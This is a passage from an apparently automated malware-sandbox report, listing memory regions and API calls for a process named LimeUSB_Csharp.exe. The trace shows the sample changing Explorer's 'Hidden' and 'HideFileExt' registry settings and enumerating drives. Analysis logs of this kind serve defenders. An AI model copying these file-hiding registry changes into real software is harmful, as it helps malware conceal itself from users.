"private_0x0000000000fb0000" filename = "" Region: id = 4014 start_va = 0x1120000 end_va = 0x112ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001120000" filename = "" Region: id = 4015 start_va = 0x2900000 end_va = 0x2adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 4016 start_va = 0x2bf0000 end_va = 0x2ceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bf0000" filename = "" Region: id = 4017 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4018 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 4019 start_va = 0x2cf0000 end_va = 0x1aceffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002cf0000" filename = "" Region: id = 4020 start_va = 0x1acf0000 end_va = 0x1b06ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001acf0000" filename = "" Region: id = 4021 start_va = 0x2900000 end_va = 0x2a00fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002900000" filename = "" Region: id = 4022 start_va = 0x2a60000 end_va = 0x2adffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a60000" filename = "" Region: id = 4023 start_va = 0x1b190000 end_va = 0x1b28ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b190000" filename = "" Region: id = 4024 start_va = 0x7fffffda000 end_va = 0x7fffffdbfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffda000" filename = "" Region: id = 4025 start_va = 0x2ae0000 end_va = 0x2bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002ae0000" filename = "" Region: id = 4026 start_va = 0x1b320000 end_va = 0x1b41ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b320000" filename = "" Region: id = 4027 start_va = 0x7fffffd8000 end_va = 0x7fffffd9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd8000" filename = "" Region: id = 4028 start_va = 0x1b420000 end_va = 0x1b6eefff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 4029 start_va = 0x7feee2e0000 end_va = 0x7feef8dcfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "mscorlib.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\mscorlib\\fe2524177eb3088c77be666722039f52\\mscorlib.ni.dll") Region: id = 4030 start_va = 0x7fffff10000 end_va = 0x7fffffaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff10000" filename = "" Region: id = 4031 start_va = 0x7fffff00000 end_va = 0x7fffff0ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffff00000" filename = "" Region: id = 4032 start_va = 0x7fe919a0000 end_va = 0x7fe91a1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe919a0000" filename = "" Region: id = 4033 start_va = 0x7fefd800000 end_va = 0x7fefda02fff monitored = 0 entry_point = 0x7fefd823330 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 4034 start_va = 0xfb0000 end_va = 0x102cfff monitored = 0 entry_point = 0xfbcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4035 start_va = 0x1080000 end_va = 0x10fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001080000" filename = "" Region: id = 4036 start_va = 0xfb0000 end_va = 0x102cfff monitored = 0 entry_point = 0xfbcec8 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 4037 start_va = 0x7fefd2a0000 end_va = 0x7fefd2aefff monitored = 0 entry_point = 0x7fefd2a1010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 4038 start_va = 0x7fef8e60000 end_va = 0x7fef8e62fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-xstate-l2-1-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-xstate-l2-1-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-xstate-l2-1-0.dll") Region: id = 4039 start_va = 0x7fef2ff0000 end_va = 0x7fef313efff monitored = 1 entry_point = 0x7fef2ff1090 region_type = mapped_file name = "clrjit.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clrjit.dll") Region: id = 4040 start_va = 0x120000 end_va = 0x12ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000120000" filename = "" Region: id = 4041 start_va = 0x1b6f0000 end_va = 0x1b89ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b6f0000" filename = "" Region: id = 4042 start_va = 0x7fe91a20000 end_va = 0x7fe91a2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe91a20000" filename = "" Region: id = 4043 start_va = 0xf10000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 4044 start_va = 0xf10000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 4045 start_va = 0x7feec070000 end_va = 0x7feeccdefff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\e43dd9c73ab5615e461bf5109c3facd6\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system\\e43dd9c73ab5615e461bf5109c3facd6\\system.ni.dll") Region: id = 4046 start_va = 0x7fef2df0000 end_va = 0x7fef2fe4fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.drawing.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Drawing\\ece80f2e3752a779e894fd45d8f27e64\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.drawing\\ece80f2e3752a779e894fd45d8f27e64\\system.drawing.ni.dll") Region: id = 4047 start_va = 0x7feefe30000 end_va = 0x7fef0ed5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.windows.forms.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Windows.Forms\\b138f79dea860272ebe6694d9b73f656\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.windows.forms\\b138f79dea860272ebe6694d9b73f656\\system.windows.forms.ni.dll") Region: id = 4048 start_va = 0xf20000 end_va = 0xf2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f20000" filename = "" Region: id = 4049 start_va = 0xfb0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 4050 start_va = 0xfc0000 end_va = 0xfcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000fc0000" filename = "" Region: id = 4051 start_va = 0xf10000 end_va = 0xf1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000f10000" filename = "" Region: id = 4057 start_va = 0x7fef8db0000 end_va = 0x7fef8dc5fff monitored = 1 entry_point = 0x7fef8dbe5e0 region_type = mapped_file name = "nlssorting.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\nlssorting.dll") Region: id = 4058 start_va = 0x1b8a0000 end_va = 0x1bb71fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nlp" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\sortdefault.nlp" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\sortdefault.nlp") Thread: id = 127 os_tid = 0x9ec [0229.227] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0232.617] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced", ulOptions=0x0, samDesired=0x2001f, phkResult=0x22e708 | out: phkResult=0x22e708*=0x1c8) returned 0x0 [0232.619] RegQueryValueExW (in: hKey=0x1c8, lpValueName="Hidden", lpReserved=0x0, lpType=0x22e758, lpData=0x0, lpcbData=0x22e750*=0x0 | out: lpType=0x22e758*=0x4, lpData=0x0, lpcbData=0x22e750*=0x4) returned 0x0 [0232.619] RegQueryValueExW (in: hKey=0x1c8, lpValueName="Hidden", lpReserved=0x0, lpType=0x22e758, lpData=0x22e738, lpcbData=0x22e750*=0x4 | out: lpType=0x22e758*=0x4, lpData=0x22e738*=0x2, lpcbData=0x22e750*=0x4) returned 0x0 [0232.632] RegQueryValueExW (in: hKey=0x1c8, lpValueName="Hidden", lpReserved=0x0, lpType=0x22e718, lpData=0x0, lpcbData=0x22e710*=0x0 | out: lpType=0x22e718*=0x4, lpData=0x0, lpcbData=0x22e710*=0x4) returned 0x0 [0232.634] RegSetValueExW (in: hKey=0x1c8, lpValueName="Hidden", Reserved=0x0, dwType=0x4, lpData=0x22e788*=0x2, cbData=0x4 | out: lpData=0x22e788*=0x2) returned 0x0 [0232.634] RegQueryValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x22e758, lpData=0x0, lpcbData=0x22e750*=0x0 | out: lpType=0x22e758*=0x4, lpData=0x0, lpcbData=0x22e750*=0x4) returned 0x0 [0232.634] RegQueryValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x22e758, lpData=0x22e738, lpcbData=0x22e750*=0x4 | out: lpType=0x22e758*=0x4, lpData=0x22e738*=0x1, lpcbData=0x22e750*=0x4) returned 0x0 [0232.634] RegQueryValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", lpReserved=0x0, lpType=0x22e718, lpData=0x0, lpcbData=0x22e710*=0x0 | out: lpType=0x22e718*=0x4, lpData=0x0, lpcbData=0x22e710*=0x4) returned 0x0 [0232.635] RegSetValueExW (in: hKey=0x1c8, lpValueName="HideFileExt", Reserved=0x0, dwType=0x4, lpData=0x22e788*=0x1, cbData=0x4 | out: lpData=0x22e788*=0x1) returned 0x0 [0232.638] GetLogicalDrives () returned 0x4 [0232.700] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\AppContext", ulOptions=0x0, samDesired=0x20019, phkResult=0x22d698 | out: phkResult=0x22d698*=0x0) returned 0x2 [0232.700] RegCloseKey (hKey=0xffffffff80000002) returned 0x0 [0232.708] GetFullPathNameW (in: lpFileName="C:\\.", nBufferLength=0x105, lpBuffer=0x22e0f0, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0232.710] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0232.711] CoGetContextToken (in: pToken=0x22f5a0 | out: pToken=0x22f5a0) returned 0x0 [0232.711] CObjectContext::QueryInterface () returned 0x0 [0232.711] CObjectContext::GetCurrentThreadType () returned 0x0 [0232.711] Release () returned 0x0 [0232.713] CoGetContextToken (in: pToken=0x22f040 | out: pToken=0x22f040) returned 0x0 [0232.713] CObjectContext::QueryInterface () returned 0x0 [0232.713] CObjectContext::GetCurrentThreadType () returned 0x0 [0232.713] Release () returned 0x0 [0232.713] CoGetContextToken (in: pToken=0x22f040 | out: pToken=0x22f040) returned 0x0 [0232.713] CObjectContext::QueryInterface () returned 0x0 [0232.713] CObjectContext::GetCurrentThreadType () returned 0x0 [0232.713] Release () returned 0x0 [0232.716] CoGetContextToken (in: pToken=0x22f040 | out: pToken=0x22f040) returned 0x0 [0232.716] CObjectContext::QueryInterface () returned 0x0 [0232.716] CObjectContext::GetCurrentThreadType () returned 0x0 [0232.716] Release () returned 0x0 [0232.718] CoGetContextToken (in: pToken=0x22f060 | out: pToken=0x22f060) returned 0x0 [0232.718] CObjectContext::QueryInterface () returned 0x0 [0232.718] CObjectContext::GetCurrentThreadType () returned 0x0 [0232.718] Release () returned 0x0 [0232.720] CoUninitialize () Thread: id = 128 os_tid = 0x614 Thread: id = 129 os_tid = 0xc8 [0230.774] CoGetContextToken (in: pToken=0x1b28f480 | out: pToken=0x1b28f480) returned 0x0 [0230.774] CObjectContext::QueryInterface () returned 0x0 [0230.774] CObjectContext::GetCurrentThreadType () returned 0x0 [0230.774] Release () returned 0x0 [0230.774] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0232.715] RegCloseKey (hKey=0x1c8) returned 0x0 [0232.715] RegCloseKey (hKey=0xffffffff80000004) returned 0x0 Thread: id = 130 os_tid = 0x728 Process: id = "26" image_name = "limeusb_csharp.exe" filename = "c:\\users\\public\\documents\\limeusb_csharp.exe" page_root = "0x12fd000" os_pid = "0x590" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x934" cmd_line = "\"C:\\Users\\Public\\Documents\\LimeUSB_Csharp.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f5e4" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 4060 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 4061 start_va = 0x30000 end_va = 0x33fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000030000" filename = "" Region: id = 4062 start_va = 0x40000 end_va = 0x40fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000040000" filename = "" Region: id = 4063 start_va = 0x230000 end_va = 0xcf3fff monitored = 1 entry_point = 0xcee3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4064 start_va = 0xd30000 end_va = 0xe2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000d30000" filename = "" Region: id = 4065 start_va = 0x77460000 end_va = 0x77608fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 4066 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 4067 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 4068 start_va = 0x7fff7000 end_va = 0x7fff7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff7000" filename = "" Region: id = 4069 start_va = 0x7feff780000 end_va = 0x7feff780fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 4070 start_va = 0x7fffffb0000 end_va = 0x7fffffd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000007fffffb0000" filename = "" Region: id = 4071 start_va = 0x7fffffdd000 end_va = 0x7fffffdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdd000" filename = "" Region: id = 4072 start_va = 0x7fffffdf000 end_va = 0x7fffffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdf000" filename = "" Region: id = 4073 start_va = 0xe30000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 4074 start_va = 0x7fef8d80000 end_va = 0x7fef8deefff monitored = 1 entry_point = 0x7fef8d81134 region_type = mapped_file name = "mscoree.dll" filename = "\\Windows\\System32\\mscoree.dll" (normalized: "c:\\windows\\system32\\mscoree.dll") Region: id = 4075 start_va = 0x77340000 end_va = 0x7745efff monitored = 0 entry_point = 0x77355340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 4076 start_va = 0x7fefd520000 end_va = 0x7fefd58bfff monitored = 0 entry_point = 0x7fefd522780 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 4077 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 4078 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 4079 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 4080 start_va = 0x50000 end_va = 0xb6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 4081 start_va = 0x1070000 end_va = 0x124ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 4082 start_va = 0xc0000 end_va = 0x1bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000c0000" filename = "" Region: id = 4083 start_va = 0xe30000 end_va = 0xedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000e30000" filename = "" Region: id = 4084 start_va = 0xff0000 end_va = 0x106ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ff0000" filename = "" Region: id = 4085 start_va = 0x7fefe2f0000 end_va = 0x7fefe3cafff monitored = 0 entry_point = 0x7fefe310760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4086 start_va = 0x7fefdc20000 end_va = 0x7fefdcbefff monitored = 0 entry_point = 0x7fefdc225a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 4087 start_va = 0x7fefe8e0000 end_va = 0x7fefe8fefff monitored = 0 entry_point = 0x7fefe8e60e8 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4088 start_va = 0x7fefe0c0000 end_va = 0x7fefe1ecfff monitored = 0 entry_point = 0x7fefe10ed50 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 4089 start_va = 0xee0000 end_va = 0xfbffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 4090 start_va = 0x1070000 end_va = 0x116ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001070000" filename = "" Region: id = 4091 start_va = 0x1240000 end_va = 0x124ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001240000" filename = "" Region: id = 4092 start_va = 0x7fef8cd0000 end_va = 0x7fef8d78fff monitored = 1 entry_point = 0x7fef8cd1010 region_type = mapped_file name = "mscoreei.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscoreei.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\mscoreei.dll") Region: id = 4093 start_va = 0x7fefac50000 end_va = 0x7fefac52fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "api-ms-win-core-synch-l1-2-0.dll" filename = "\\Windows\\System32\\api-ms-win-core-synch-l1-2-0.dll" (normalized: "c:\\windows\\system32\\api-ms-win-core-synch-l1-2-0.dll") Region: id = 4094 start_va = 0x7fefe960000 end_va = 0x7fefe9d0fff monitored = 0 entry_point = 0x7fefe971e20 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 4095 start_va = 0x7fefd780000 end_va = 0x7fefd7e6fff monitored = 0 entry_point = 0x7fefd78b03c region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 4096 start_va = 0x77240000 end_va = 0x77339fff monitored = 0 entry_point = 0x7725a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 4097 start_va = 0x7fefd7f0000 end_va = 0x7fefd7fdfff monitored = 0 entry_point = 0x7fefd7f1080 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 4098 start_va = 0x7fefdcc0000 end_va = 0x7fefdd88fff monitored = 0 entry_point = 0x7fefdd3a874 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 4099 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4100 start_va = 0x1250000 end_va = 0x13d7fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001250000" filename = "" Region: id = 4101 start_va = 0x1c0000 end_va = 0x1e8fff monitored = 0 entry_point = 0x1c1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4102 start_va = 0x7fefdbf0000 end_va = 0x7fefdc1dfff monitored = 0 entry_point = 0x7fefdbf1010 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 4103 start_va = 0x7fefdfb0000 end_va = 0x7fefe0b8fff monitored = 0 entry_point = 0x7fefdfb1064 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 4104 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 4105 start_va = 0x1c0000 end_va = 0x1c0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001c0000" filename = "" Region: id = 4106 start_va = 0x13e0000 end_va = 0x1560fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000013e0000" filename = "" Region: id = 4107 start_va = 0x1570000 end_va = 0x296ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001570000" filename = "" Region: id = 4108 start_va = 0x2970000 end_va = 0x342cfff monitored = 1 entry_point = 0x342e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4109 start_va = 0x2970000 end_va = 0x342cfff monitored = 1 entry_point = 0x342e3ae region_type = mapped_file name = "limeusb_csharp.exe" filename = "\\Users\\Public\\Documents\\LimeUSB_Csharp.exe" (normalized: "c:\\users\\public\\documents\\limeusb_csharp.exe") Region: id = 4110 start_va = 0x7fefc570000 end_va = 0x7fefc57bfff monitored = 0 entry_point = 0x7fefc571064 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 4111 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4112 start_va = 0x7fef0ee0000 end_va = 0x7fef19a6fff monitored = 1 entry_point = 0x7fef0ee63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4113 start_va = 0x7fef19b0000 end_va = 0x7fef2476fff monitored = 1 entry_point = 0x7fef19b63a0 region_type = mapped_file name = "clr.dll" filename = "\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\clr.dll") Region: id = 4114 start_va = 0x7fef8e60000 end_va = 0x7fef8e75fff monitored = 0 entry_point = 0x7fef8e6c000 region_type = mapped_file name = "vcruntime140_clr0400.dll" filename = "\\Windows\\System32\\vcruntime140_clr0400.dll" (normalized: "c:\\windows\\system32\\vcruntime140_clr0400.dll") Region: id = 4115 start_va = 0x7fef3c10000 end_va = 0x7fef3cccfff monitored = 0 entry_point = 0x7fef3c97db0 region_type = mapped_file name = "ucrtbase_clr0400.dll" filename = "\\Windows\\System32\\ucrtbase_clr0400.dll" (normalized: "c:\\windows\\system32\\ucrtbase_clr0400.dll") Region: id = 4116 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 4117 start_va = 0x1e0000 end_va = 0x1effff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001e0000" filename = "" Region: id = 4118 start_va = 0x1f0000 end_va = 0x1fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 4119 start_va = 0x7fe92330000 end_va = 0x7fe9233ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92330000" filename = "" Region: id = 4120 start_va = 0x7fe92340000 end_va = 0x7fe9234ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92340000" filename = "" Region: id = 4121 start_va = 0x7fe92350000 end_va = 0x7fe923dffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe92350000" filename = "" Region: id = 4122 start_va = 0x7fe923e0000 end_va = 0x7fe9244ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe923e0000" filename = "" Region: id = 4123 start_va = 0x200000 end_va = 0x200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000200000" filename = "" Region: id = 4124 start_va = 0x210000 end_va = 0x210fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 4125 start_va = 0x2970000 end_va = 0x2bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 4126 start_va = 0x2970000 end_va = 0x2a7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002970000" filename = "" Region: id = 4127 start_va = 0x2b60000 end_va = 0x2bdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002b60000" filename = "" Region: id = 4128 start_va = 0x2c80000 end_va = 0x2d7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002c80000" filename = "" Region: id = 4129 start_va = 0x7fffffdb000 end_va = 0x7fffffdcfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdb000" filename = "" Region: id = 4130 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 4131 start_va = 0x2d80000 end_va = 0x1ad7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d80000" filename = "" Region: id = 4132 start_va = 0x1ad80000 end_va = 0x1b0fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001ad80000" filename = "" Region: id = 4133 start_va = 0x1b100000 end_va = 0x1b200fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b100000" filename = "" Region: id = 4134 start_va = 0x1b310000 end_va = 0x1b40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001b310000" filename = "" Region: id = 4135 start_va = 0x7fffffd9000 end_va = 0x7fffffdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffd9000" filename = "" Region: id = 4136 start_va = 0x1b210000 end_va = 0x1b30ffff monitored = 